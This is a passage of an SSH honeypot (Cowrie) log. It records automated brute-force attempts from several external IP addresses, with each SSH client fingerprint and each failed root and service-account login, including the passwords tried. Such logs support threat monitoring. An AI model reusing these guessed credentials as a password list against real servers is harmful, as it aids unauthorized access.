{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:23.544037Z","src_ip":"103.27.238.120","session":"b3cb27c4e363","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"warface21","message":"login attempt [root/warface21] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:24.374308Z","src_ip":"103.27.238.120","session":"b3cb27c4e363","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":44541,"dst_ip":"10.17.0.5","dst_port":22,"session":"6083beead89c","protocol":"ssh","message":"New connection: 5.196.136.131:44541 (10.17.0.5:22) [session: 6083beead89c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:24.938731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:24.942310Z","src_ip":"5.196.136.131","session":"6083beead89c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:25.018257Z","src_ip":"5.196.136.131","session":"6083beead89c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@123","message":"login attempt [root/Root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:25.250132Z","src_ip":"5.196.136.131","session":"6083beead89c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:25.652757Z","src_ip":"103.27.238.120","session":"b3cb27c4e363","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:26.328122Z","src_ip":"5.196.136.131","session":"6083beead89c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":23529,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d3f19c221a0","protocol":"ssh","message":"New connection: 5.196.136.131:23529 (10.17.0.5:22) [session: 8d3f19c221a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:29.356406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:29.360609Z","src_ip":"5.196.136.131","session":"8d3f19c221a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:29.443669Z","src_ip":"5.196.136.131","session":"8d3f19c221a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456","message":"login attempt [root/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:29.698951Z","src_ip":"5.196.136.131","session":"8d3f19c221a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:30.785330Z","src_ip":"5.196.136.131","session":"8d3f19c221a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":25551,"dst_ip":"10.17.0.5","dst_port":22,"session":"32012fc40ad6","protocol":"ssh","message":"New connection: 5.196.136.131:25551 (10.17.0.5:22) [session: 32012fc40ad6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:33.764387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:33.767898Z","src_ip":"5.196.136.131","session":"32012fc40ad6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:33.847251Z","src_ip":"5.196.136.131","session":"32012fc40ad6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123","message":"login attempt [root/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:34.076252Z","src_ip":"5.196.136.131","session":"32012fc40ad6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:35.153932Z","src_ip":"5.196.136.131","session":"32012fc40ad6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":24968,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f100ad3108f","protocol":"ssh","message":"New connection: 5.196.136.131:24968 (10.17.0.5:22) [session: 7f100ad3108f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:38.174622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:38.178195Z","src_ip":"5.196.136.131","session":"7f100ad3108f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:38.252476Z","src_ip":"5.196.136.131","session":"7f100ad3108f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bigdata","password":"bigdata","message":"login attempt [bigdata/bigdata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:38.475726Z","src_ip":"5.196.136.131","session":"7f100ad3108f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:39.553381Z","src_ip":"5.196.136.131","session":"7f100ad3108f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":49484,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab0b20d303a1","protocol":"ssh","message":"New connection: 109.237.96.109:49484 (10.17.0.5:22) [session: ab0b20d303a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:41.039412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:41.044296Z","src_ip":"109.237.96.109","session":"ab0b20d303a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:41.139578Z","src_ip":"109.237.96.109","session":"ab0b20d303a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"310792","message":"login attempt [root/310792] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:41.419213Z","src_ip":"109.237.96.109","session":"ab0b20d303a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:42.514107Z","src_ip":"109.237.96.109","session":"ab0b20d303a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":14117,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a655aed0431","protocol":"ssh","message":"New connection: 5.196.136.131:14117 (10.17.0.5:22) [session: 8a655aed0431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:42.552362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:42.557268Z","src_ip":"5.196.136.131","session":"8a655aed0431","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:42.641824Z","src_ip":"5.196.136.131","session":"8a655aed0431","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"cloud","message":"login attempt [cloud/cloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:42.895357Z","src_ip":"5.196.136.131","session":"8a655aed0431","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:43.980410Z","src_ip":"5.196.136.131","session":"8a655aed0431","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":40773,"dst_ip":"10.17.0.5","dst_port":22,"session":"659cf3324b15","protocol":"ssh","message":"New connection: 5.196.136.131:40773 (10.17.0.5:22) [session: 659cf3324b15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:46.880554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:46.909439Z","src_ip":"5.196.136.131","session":"659cf3324b15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:46.963889Z","src_ip":"5.196.136.131","session":"659cf3324b15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ducc0x","password":"phuvanduc","message":"login attempt [ducc0x/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:47.267486Z","src_ip":"5.196.136.131","session":"659cf3324b15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:48.347781Z","src_ip":"5.196.136.131","session":"659cf3324b15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.191.141.115","src_port":38454,"dst_ip":"10.17.0.5","dst_port":22,"session":"66a7f290c964","protocol":"ssh","message":"New connection: 185.191.141.115:38454 (10.17.0.5:22) [session: 66a7f290c964]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:48.946698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:48.951008Z","src_ip":"185.191.141.115","session":"66a7f290c964","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh 